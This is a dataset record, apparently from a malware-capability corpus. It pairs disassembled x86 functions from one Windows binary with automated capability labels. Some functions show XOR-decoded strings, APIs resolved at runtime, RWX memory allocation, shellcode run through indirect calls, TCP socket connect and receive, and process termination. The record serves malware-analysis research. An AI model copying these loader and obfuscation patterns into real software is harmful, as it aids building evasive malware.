joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407ec1
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4106d0
cmp edx, dword [eax]
je 0x407ee3
add eax, 8
inc ecx
cmp eax, 0x410760
jl 0x407ed4
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4106d0]
jne 0x408011
mov eax, dword [0x410b18]
cmp eax, 1
je 0x407feb
test eax, eax
jne 0x407f14
cmp dword [0x40e490], 1
je 0x407feb
cmp edx, 0xfc
je 0x408011
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x407f4b
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00409a10
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00409b00
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x407f8e
lea eax, [ebp - 0x1a4]
push eax
call fcn.00409b00
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40b7b0
push edi
call fcn.00409c10
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00409a10
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00409a20
lea eax, [ebp - 0xa0]
push 0x40b790
push eax
call fcn.00409a20
push dword [esi + 0x4106d4]
lea eax, [ebp - 0xa0]
push eax
call fcn.00409a20
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00409b7b
add esp, 0x2c
pop edi
jmp 0x408011
lea eax, [ebp + 8]
lea esi, [esi + 0x4106d4]
push 0
push eax
push dword [esi]
call fcn.00409b00
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x41786e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x33c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
jmp 0x48c3ee
jl 0x4838cd
lea edx, [ebp - 0x220]
push edx
mov ecx, esi
call fcn.00548b3a
add esp, 4
mov edi, eax
xor eax, eax
jmp 0x459dc2
lea ecx, [eax + 1]
imul ecx, ecx, 0x313e
xor cx, word [eax*2 + 0x5ae5e8]
inc eax
mov word [ebp + eax*2 - 0x222], cx
cmp eax, 7
push 0x51e186
ret
lea edx, [ebp - 0x220]
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x334], eax
xor eax, eax
lea ecx, [eax + 1]
imul ecx, ecx, 0x6f35
xor cx, word [eax*2 + 0x5ae5d8]
inc eax
mov word [ebp + eax*2 - 0x222], cx
cmp eax, 7
jmp 0x459da2
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x328], eax
mov eax, dword [ebp + 0xc]
xor ecx, ecx
push edi
mov dword [ebp - 0x338], eax
mov dword [ebp - 0x324], ecx
mov dword [ebp - 0x330], 0x1000
cmp eax, ecx
je 0x48c424
mov byte [eax], cl
mov byte [eax + 0xff], cl
lea ebx, [ebp - 0x330]
lea edi, [ebp - 0x324]
call fcn.0043bd45
jmp 0x4b487c
xor ebx, ebx
mov dword [ebp - 0x1c], 0x68
mov dword [ebp - 0x18], 0xb800
mov dword [ebp - 0x14], 0xd0ff0000
mov dword [ebp - 0x10], 0x589
mov dword [ebp - 0xc], 0x4c20000
mov byte [ebp - 8], bl
xor eax, eax
lea ecx, [eax + 1]
imul ecx, ecx, 0x18cd
xor cx, word [eax*2 + 0x5ae5c8]
inc eax
mov word [ebp + eax*2 - 0x222], cx
cmp eax, 7
jl 0x4b48a6
jmp 0x4838b8
Function at 0x431f9f
Capabilities:
Encode data using xor
Execute shellcode via indirect call
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
jmp 0x5892b4
mov byte [ebp - 0x10f], 0xc3
cmp eax, 6
jne 0x51050a
mov eax, dword [0x6b7300]
cmp eax, 1
jne 0x4642be
lea esi, [ebx + 0x13]
jmp 0x4e55e4
cmp eax, 2
jne 0x4642d1
mov esi, 0x196
jmp 0x4e55e4
cmp eax, 3
jne 0x5613cd
mov esi, 0x19b
jmp 0x5613c8
mov ecx, dword [ebp - 0x120]
mov edx, dword [ebp - 0x11c]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x118]
mov dword [eax + 4], edx
mov edx, dword [ebp - 0x114]
mov dword [eax + 8], ecx
mov cx, word [ebp - 0x110]
mov dword [eax + 0xc], edx
mov dword [0x6b7660], eax
mov word [eax + 0x10], cx
jmp 0x568bc6
cmp eax, 0x3839
jne 0x4b74d3
mov esi, 0x1a8
jmp 0x4e55e4
cmp eax, 0x3ad7
jne 0x4b74e8
mov esi, 0x1ad
jmp 0x4e55e4
xor eax, eax
lea ecx, [eax + 1]
imul ecx, ecx, 0x2d67
xor cx, word [eax*2 + 0x5ae2a8]
inc eax
mov word [ebp + eax*2 - 0x10e], cx
cmp eax, 6
jl 0x4b74ea
push ebx
push ebx
lea edx, [ebp - 0x10c]
push edx
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x4e55d6
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 0x18
mov word [ebp - 0x115], ax
mov eax, dword [0x6b7660]
mov dword [ebp - 0x11f], esi
cmp eax, ebx
jne 0x568bae
push 0x40
push 0x3000
push 0x1000
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
jmp 0x46483a
mov eax, dword [0x6b7664]
mov ebx, dword [0x6b7660]
push eax
call fcn.004aeb75
mov ecx, dword [ebp - 8]
add esp, 4
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.005717ce
mov esp, ebp
pop ebp
ret 4
cmp eax, 0xa
jne 0x4e55e4
mov eax, dword [0x6b7304]
cmp eax, 0x2800
jne 0x51052d
mov esi, 0x1a3
jmp 0x4e55e4
cmp eax, 0x295a
jne 0x4b74be
mov esi, 0x1a6
jmp 0x4e55e4
jmp 0x4e55e4
xor eax, eax
lea edx, [eax + 1]
imul edx, edx, 0x17b3
xor dx, word [eax*2 + 0x5ae298]
inc eax
mov word [ebp + eax*2 - 0x10e], dx
cmp eax, 6
jl 0x5613cf
push ebx
push ebx
lea eax, [ebp - 0x10c]
push eax
jmp 0x4b7516
mov edx, dword [0x6b7664]
push edx
mov ebx, eax
call fcn.004aeb75
mov eax, dword [0x6b7660]
add esp, 4
xor ebx, ebx
mov ecx, dword [ebp - 0x128]
mov edx, dword [ebp - 0x124]
push 0x40
push 0x3000
push ecx
push ebx
push edx
push edi
call eax
mov esi, eax
cmp dword [0x6b7664], ebx
jne 0x50f42c
mov edi, dword [sym.imp.msvcrt.dll_rand]
call edi
mov word [0x6b7664], ax
jmp dword [0x568c02]
push ebx
push esi
mov dword [ebp - 0x124], eax
mov eax, dword [0x6b72fc]
xor ebx, ebx
xor esi, esi
push edi
mov edi, edx
mov dword [ebp - 0x128], ecx
mov byte [ebp - 0x120], 0xb8
mov dword [ebp - 0x11b], 0x3e8
mov word [ebp - 0x117], 0xc200
mov dword [ebp - 0x113], 0x340fd48b
jmp 0x464298
Function at 0x4351b6
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
lea ecx, [eax + 1]
imul ecx, ecx, 0x6279
xor cx, word [eax*2 + 0x5ae188]
inc eax
mov word [ebp + eax*2 - 0x10a], cx
cmp eax, 7
jl 0x41b574
xor eax, eax
lea edx, [eax + 1]
imul edx, edx, 0x4593
xor dx, word [eax*2 + 0x5ae198]
inc eax
mov word [ebp + eax*2 - 0x20a], dx
jmp 0x5802aa
push ebp
mov ebp, esp
sub esp, 0x208
jmp 0x41b568
cmp eax, 5
jl 0x41b599
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x5802e4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005717ce
mov esp, ebp
pop ebp
ret
push esi
call eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005717ce
mov esp, ebp
jmp dword [0x5802fd]

Function at 0x43bd45
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
lea ecx, [eax + 1]
imul ecx, ecx, 0x33d6
xor cx, word [eax*2 + 0x5ae220]
inc eax
mov word [ebp + eax*2 - 0x10a], cx
cmp eax, 0xc
jl 0x43bd5a
xor eax, eax
lea edx, [eax + 1]
imul edx, edx, 0x5ec5
xor dx, word [eax*2 + 0x5ae23c]
jmp 0x48ba46
inc eax
mov word [ebp + eax*2 - 0x20a], dx
cmp eax, 5
jl 0x43bd7f
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
push 0x3000
push ebx
push 0
push edi
push esi
call eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005717ce
mov esp, ebp
pop ebp
ret

Function at 0x4410ec
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
test edi, edi
jle 0x44111e
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov edx, eax
sub esi, eax
lea ebx, [ecx + 1]
imul ebx, dword [ebp + 8]
xor bx, word [esi + edx]
inc ecx
mov word [edx], bx
add edx, 2
cmp ecx, edi
jl 0x441102
pop esi
pop ebx
pop ebp
ret 8

Function at 0x441122
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [ebp + 0xc]
mov ecx, dword [0x6b740c]
lea edx, [ecx + eax*2]
xor eax, eax
mov dword [esi], edx
test edi, edi
jle 0x4351b0
lea ebx, [ebx]
mov edx, dword [esi]
lea ecx, [eax + 1]
imul ecx, dword [ebp + 8]
xor cx, word [ebx + eax*2]
inc eax
mov word [edx + eax*2 - 2], cx
cmp eax, edi
jl 0x435195
mov eax, esi
pop ebp
ret 8
push ebp
mov ebp, esp
cmp byte [0x6b7650], 0
jne 0x435177
push 0x1000
call dword [sym.imp.msvcrt.dll_malloc]
jmp dword [0x441145]

Function at 0x4584b0
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
je 0x4584ca
xor eax, eax
pop ebp
ret
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x4584c6
xor edx, edx
mov ecx, 0x10b
cmp word [eax + 0x18], cx
sete dl
jmp 0x525f0e
mov eax, edx
pop ebp
ret
Function at 0x45a9d5
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create thread
Create udp socket
Encode data using xor

Disassembly:
cmp eax, 0xffffffff
jne 0x47cde4
xor eax, eax
nop
lea ecx, [eax + 1]
imul ecx, ecx, 0x3295
xor cx, word [eax*2 + 0x5aeab0]
inc eax
mov word [ebp + eax*2 - 0x11a], cx
cmp eax, 9
jl 0x44c2ce
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x47cdb2
push ebp
mov ebp, esp
sub esp, 0x118
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0
push 1
push 2
mov esi, ecx
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x6b753c], eax
jmp 0x44c2c2
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov eax, 1
jmp 0x4ff778
cmp eax, 6
jl 0x500fc4
lea edx, [ebp - 0x118]
push edx
call fcn.004e7187
add esp, 4
xor eax, eax
lea ecx, [eax + 1]
imul ecx, ecx, 0x7c86
xor cx, word [eax*2 + 0x5aeaf4]
inc eax
mov word [ebp + eax*2 - 0x11a], cx
cmp eax, 0x12
jl 0x46d85e
lea edx, [ebp - 0x118]
push edx
call fcn.004e7187
jmp 0x59bfa8
push eax
lea edx, [ebp - 0x118]
push edx
push 0x6723c8
call dword [sym.imp.msvcrt.dll_sprintf]
push 0x6723c8
call fcn.004e7187
add esp, 0x10
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005717ce
mov esp, ebp
pop ebp
ret
xor eax, eax
lea esp, [esp]
lea ecx, [eax + 1]
imul ecx, ecx, 0x973
xor cx, word [eax*2 + 0x5aeac4]
jmp 0x4ee376
push ecx
mov word [ebp - 0x14], ax
call dword [sym.imp.WS2_32.dll_htons]
xor esi, dword [ebp + 8]
push 0x10
lea edx, [ebp - 0x14]
mov word [ebp - 0x12], ax
mov eax, dword [0x6b753c]
push edx
push eax
mov dword [ebp - 0x10], esi
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x500fc2
xor eax, eax
lea ecx, [eax + 1]
imul ecx, ecx, 0x73e3
xor cx, word [eax*2 + 0x5aead0]
inc eax
mov word [ebp + eax*2 - 0x11a], cx
jmp dword [0x49049f]
inc eax
mov word [ebp + eax*2 - 0x11a], cx
cmp eax, 5
jl 0x47cded
lea edx, [ebp - 0x118]
push edx
call fcn.004e7187
xor eax, eax
mov ecx, esi
xor ecx, dword [ebp + 0xc]
mov dword [ebp - 0x14], eax
add esp, 4
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov eax, 2
jmp 0x49044e
pop esi
call fcn.005717ce
mov esp, ebp
pop ebp
ret
xor eax, eax
lea ecx, [eax + 1]
imul ecx, ecx, 0x3e69
xor cx, word [eax*2 + 0x5aeae4]
inc eax
mov word [ebp + eax*2 - 0x11a], cx
jmp 0x46d844
add esp, 4
push 0
push 0
push 0
push 0x45ea25
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1f4
mov dword [0x6b7424], eax
xor esi, esi
call edi
cmp byte [0x6b7415], 0
jne 0x46874f
xor eax, eax
jmp dword [0x59bfed]
Function at 0x4807cf
Capabilities:
Encode data using xor

Disassembly:
push edx
push 1
push 0
lea eax, [ebp - 0x318c]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x51b6f8
xor ecx, ecx
lea edx, [ecx + 1]
imul edx, edx, 0x1991
xor dx, word [ecx*2 + 0x5ae7bc]
inc ecx
mov word [ebp + ecx*2 - 0x318e], dx
cmp ecx, 6
push 0x51b6e0
ret
push ebp
mov ebp, esp
mov eax, 0x33d0
call fcn.0055679e
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x33bc], eax
jmp 0x5384c4
mov dword [ebp - 0x33b0], 0x3e8
mov byte [ebp - 0x5f4], 0
xor eax, eax
lea ecx, [eax + 1]
imul ecx, ecx, 0x72a4
xor cx, word [eax*2 + 0x5ae7cc]
inc eax
mov word [ebp + eax*2 - 0x318e], cx
jmp dword [0x51b72b]
mov dword [ebp - 0x33c4], edi
xor eax, eax
lea ecx, [ecx]
lea ecx, [eax + 1]
imul ecx, ecx, 0x7a6c
xor cx, word [eax*2 + 0x5ae79c]
inc eax
mov word [ebp + eax*2 - 0x318e], cx
cmp eax, 0xe
jl 0x5384cf
lea edx, [ebp - 0x33b4]
jmp 0x4254bc

Function at 0x48ba8f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
jmp 0x48f5d2
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, 1
test byte [0x6bbaa4], cl
jne 0x4c3d21
or dword [0x6bbaa4], ecx
xor eax, eax
jmp 0x48f5fa
lea edx, [eax + 1]
imul edx, edx, 0x1d8b
xor dx, word [eax*2 + 0x5ae248]
mov word [ebp + eax*2 - 0x108], dx
add eax, ecx
cmp eax, 0xa
jl 0x48f5fa
xor eax, eax
lea edx, [eax + 1]
imul edx, edx, 0x4c32
jmp 0x55fe0e
mov dword [0x6bbaa0], eax
push 0
push 0
push ebx
push edi
push 0
push 0
push esi
call dword [0x6bbaa0]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005717ce
mov esp, ebp
pop ebp
ret
xor dx, word [eax*2 + 0x5ae260]
mov word [ebp + eax*2 - 0x208], dx
add eax, ecx
cmp eax, 7
jl 0x48f620
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
jmp 0x4c3d1c
Function at 0x4a222c
Capabilities:
Terminate process

Disassembly:
push 0x5ae168
push 0x5ae160
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x8856d8], 2
cmp dword [ebp - 0x1c], ebx
jne 0x4098b8
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
cmp dword [0x8856e0], ebx
je 0x428842
push 0x8856e0
call fcn.0052e713
pop ecx
test eax, eax
je 0x428842
push ebx
push 2
push ebx
jmp dword [0x4098e2]
push dword [0x672054]
push dword [0x672058]
push dword [0x672050]
call fcn.004f9638
add esp, 0xc
mov dword [0x672068], eax
cmp dword [0x67205c], ebx
jne 0x478641
push eax
call dword [sym.imp.msvcrt.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
jmp 0x478614
push 0x10
push 0x5aec88
call fcn.0051c3d4
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov dword [ebp - 0x1c], ebx
mov edi, 0x8856dc
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
cmp eax, ebx
je 0x493e61
jmp 0x493e3e
mov dword [ebp - 0x20], ecx
push eax
push ecx
call sub.msvcrt.dll__XcptFilter
pop ecx
pop ecx
ret
cmp dword [0x67206c], ebx
jne 0x478653
call dword [sym.imp.msvcrt.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x672068]
call fcn.004b9aad
ret
cmp eax, esi
jne 0x493e51
xor esi, esi
inc esi
mov dword [ebp - 0x1c], esi
jmp 0x493e64
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x44783c
xor esi, esi
inc esi
mov eax, dword [0x8856d8]
cmp eax, esi
jne 0x54fd69
jmp 0x54fd5c
push 0x40100a
call fcn.00401000
call fcn.0053b38f
jmp 0x44781a
push 0x1f
call sub.msvcrt.dll__amsg_exit
pop ecx
jmp 0x54fdac
mov eax, dword [0x8856d8]
test eax, eax
jne 0x54fda6
mov dword [0x8856d8], esi
push 0x5ae178
push 0x5ae16c
call fcn.004c9cde
pop ecx
pop ecx
test eax, eax
je 0x54fdac
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x47865f
mov dword [0x67206c], esi
mov eax, dword [0x8856d8]
cmp eax, esi
jne 0x4098a7
jmp 0x40988c
Function at 0x4acbc2
Capabilities:
Encode data using xor

Disassembly:
mov ecx, dword [eax]
cmp dword [ecx], edi
je 0x403f4f
mov eax, dword [eax + 0x10]
test eax, eax
jne 0x403f3a
xor eax, eax
lea edx, [eax + 1]
imul edx, edx, 0x6d9c
xor dx, word [eax*2 + 0x5ae1fc]
inc eax
mov word [ebp + eax*2 - 0x20e], dx
cmp eax, 0x10
jl 0x403f51
mov eax, dword [ebp + 0xc]
push eax
push edi
lea ecx, [ebp - 0x20c]
push ecx
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.msvcrt.dll_sprintf]
add esp, 0x10
push 0
push 0
jmp 0x47481e
lea esp, [esp]
mov ecx, dword [eax]
cmp dword [ecx], edi
je 0x44e66e
mov eax, dword [eax + 0x10]
test eax, eax
jne 0x44e631
push 0xc
call dword [sym.imp.msvcrt.dll_malloc]
mov edx, dword [ebp + 0x10]
add esp, 4
push 0
push 0
push eax
mov dword [eax + 4], edx
mov dword [eax], edi
mov dword [eax + 8], ebx
call fcn.004529d7
test eax, eax
jne 0x47482d
mov eax, dword [esi]
test eax, eax
je 0x403f4f
jmp 0x403f3a
lea eax, [ebp - 0x10c]
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
inc edi
dec dword [ebp - 0x210]
jne 0x4acbf3
mov ecx, dword [ebp - 8]
pop edi
xor ecx, ebp
mov eax, 1
pop esi
call fcn.005717ce
jmp 0x55daa6
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x214], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
test eax, eax
je 0x47483a
mov edi, ebx
mov dword [ebp - 0x210], eax
mov edx, dword [ebp - 0x214]
mov ecx, edi
and ecx, 0xffff
mov eax, dword [edx + ecx*4]
lea esi, [edx + ecx*4]
test eax, eax
je 0x44e646
jmp 0x44e62a
mov esp, ebp
pop ebp
ret 0xc

Function at 0x4f9638
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x6096c
call fcn.0055679e
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x60968], eax
push ebx
push esi
xor ebx, ebx
push edi
xor eax, eax
lea ecx, [eax + 1]
jmp 0x590dd2
imul ecx, ecx, 0x6f9f
xor cx, word [eax*2 + 0x5aeb3c]
inc eax
mov word [esp + eax*2 + 0x1e], cx
cmp eax, 0xa
jl 0x4f965d
lea edx, [esp + 0x20]
push edx
call fcn.004e7187
add esp, 4
xor eax, eax
lea ecx, [eax + 1]
imul ecx, ecx, 0x4cd1
xor cx, word [eax*2 + 0x5aeb54]
inc eax
mov word [esp + eax*2 + 0x1e], cx
cmp eax, 2
jl 0x590dfe
push 0x51d30a
ret
Function at 0x51050a
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
jmp 0x5892b4
mov byte [ebp - 0x10f], 0xc3
cmp eax, 6
jne 0x51050a
mov eax, dword [0x6b7300]
cmp eax, 1
jne 0x4642be
lea esi, [ebx + 0x13]
jmp 0x4e55e4
cmp eax, 2
jne 0x4642d1
mov esi, 0x196
jmp 0x4e55e4
cmp eax, 3
jne 0x5613cd
mov esi, 0x19b
jmp 0x5613c8
mov ecx, dword [ebp - 0x120]
mov edx, dword [ebp - 0x11c]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x118]
mov dword [eax + 4], edx
mov edx, dword [ebp - 0x114]
mov dword [eax + 8], ecx
mov cx, word [ebp - 0x110]
mov dword [eax + 0xc], edx
mov dword [0x6b7660], eax
mov word [eax + 0x10], cx
jmp 0x568bc6
cmp eax, 0x3839
jne 0x4b74d3
mov esi, 0x1a8
jmp 0x4e55e4
cmp eax, 0x3ad7
jne 0x4b74e8
mov esi, 0x1ad
jmp 0x4e55e4
xor eax, eax
lea ecx, [eax + 1]
imul ecx, ecx, 0x2d67
xor cx, word [eax*2 + 0x5ae2a8]
inc eax
mov word [ebp + eax*2 - 0x10e], cx
cmp eax, 6
jl 0x4b74ea
push ebx
push ebx
lea edx, [ebp - 0x10c]
push edx
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x4e55d6
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 0x18
mov word [ebp - 0x115], ax
mov eax, dword [0x6b7660]
mov dword [ebp - 0x11f], esi
cmp eax, ebx
jne 0x568bae
push 0x40
push 0x3000
push 0x1000
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
jmp 0x46483a
mov eax, dword [0x6b7664]
mov ebx, dword [0x6b7660]
push eax
call fcn.004aeb75
mov ecx, dword [ebp - 8]
add esp, 4
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.005717ce
mov esp, ebp
pop ebp
ret 4
cmp eax, 0xa
jne 0x4e55e4
mov eax, dword [0x6b7304]
cmp eax, 0x2800
jne 0x51052d
mov esi, 0x1a3
jmp 0x4e55e4
cmp eax, 0x295a
jne 0x4b74be
mov esi, 0x1a6
jmp 0x4e55e4
jmp 0x4e55e4
xor eax, eax
lea edx, [eax + 1]
imul edx, edx, 0x17b3
xor dx, word [eax*2 + 0x5ae298]
inc eax
mov word [ebp + eax*2 - 0x10e], dx
cmp eax, 6
jl 0x5613cf
push ebx
push ebx
lea eax, [ebp - 0x10c]
push eax
jmp 0x4b7516
mov edx, dword [0x6b7664]
push edx
mov ebx, eax
call fcn.004aeb75
mov eax, dword [0x6b7660]
add esp, 4
xor ebx, ebx
mov ecx, dword [ebp - 0x128]
mov edx, dword [ebp - 0x124]
push 0x40
push 0x3000
push ecx
push ebx
push edx
push edi
call eax
mov esi, eax
cmp dword [0x6b7664], ebx
jne 0x50f42c
mov edi, dword [sym.imp.msvcrt.dll_rand]
call edi
mov word [0x6b7664], ax
jmp dword [0x568c02]
push ebx
push esi
mov dword [ebp - 0x124], eax
mov eax, dword [0x6b72fc]
xor ebx, ebx
xor esi, esi
push edi
mov edi, edx
mov dword [ebp - 0x128], ecx
mov byte [ebp - 0x120], 0xb8
mov dword [ebp - 0x11b], 0x3e8
mov word [ebp - 0x117], 0xc200
mov dword [ebp - 0x113], 0x340fd48b
jmp 0x464298
Function at 0x525f12
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
push ebx
push esi
movzx esi, word [ecx + 6]
xor edx, edx
push edi
lea eax, [eax + ecx + 0x18]
test esi, esi
jbe 0x52e70c
mov edi, dword [ebp + 0xc]
mov ecx, dword [eax + 0xc]
cmp edi, ecx
jb 0x525f53
mov ebx, dword [eax + 8]
add ebx, ecx
cmp edi, ebx
jb 0x52e70e
inc edx
add eax, 0x28
cmp edx, esi
jb 0x525f3b
jmp 0x52e70c
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x566ac8
Capabilities:
Encode data using xor

Disassembly:
push eax
call esi
add esp, 0xc
push 0
push 0x40000000
push 3
push 0
push 3
push 0xc0000000
lea ecx, [ebp - 0x30c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
xor eax, eax
cmp edi, eax
je 0x525988
jmp dword [0x44e800]
lea edx, [eax + 1]
imul edx, edx, 0x7425
xor dx, word [eax*2 + 0x5ae6f4]
inc eax
mov word [ebp + eax*2 - 0x536], dx
jmp 0x5896ba
push ebp
mov ebp, esp
sub esp, 0x540
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
mov dword [ebp - 0x538], ecx
xor eax, eax
mov edi, edi
lea edx, [eax + 1]
imul edx, edx, 0x22de
xor dx, word [eax*2 + 0x5ae6c8]
jmp 0x57a07e
inc eax
mov word [ebp + eax*2 - 0x436], dx
cmp eax, 8
jl 0x566ae8
mov ebx, dword [ebp + 8]
mov esi, dword [sym.imp.msvcrt.dll_sprintf]
push ebx
lea eax, [ebp - 0x434]
push eax
push ecx
call esi
add esp, 0xc
xor eax, eax
jmp 0x57a0ae
lea ecx, [eax + 1]
imul ecx, ecx, 0x76b6
xor cx, word [eax*2 + 0x5ae6dc]
inc eax
mov word [ebp + eax*2 - 0x436], cx
cmp eax, 0xa
jl 0x57a0ae
push ebx
lea edx, [ebp - 0x434]
push edx
lea eax, [ebp - 0x30c]
jmp 0x44e7c6
cmp eax, 8
jl 0x525988
mov ecx, dword [ebp - 0x538]
push ebx
lea eax, [ebp - 0x534]
push eax
push ecx
call esi
mov ecx, dword [ebp - 8]
add esp, 0xc
pop edi
pop esi
xor ecx, ebp
xor al, al
pop ebx
call fcn.005717ce
mov esp, ebp
pop ebp
ret

Function at 0x56cb4f
Capabilities:
Receive data
Receive data on socket

Disassembly:
cmp edi, 0xffffffff
pop edi
jne 0x532775
jmp 0x53276c
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [0x6b753c]
push esi
xor esi, esi
cmp dword [ebp + 0xc], esi
jle 0x532775
push edi
mov eax, dword [ebp + 0xc]
sub eax, esi
cmp eax, 0x100000
jle 0x56cb7e
mov eax, 0x100000
push 0
push eax
mov eax, dword [ebp + 8]
lea ecx, [esi + eax]
push ecx
push ebx
call dword [sym.imp.WS2_32.dll_recv]
mov edi, eax
mov dword [ebp - 4], edi
test edi, edi
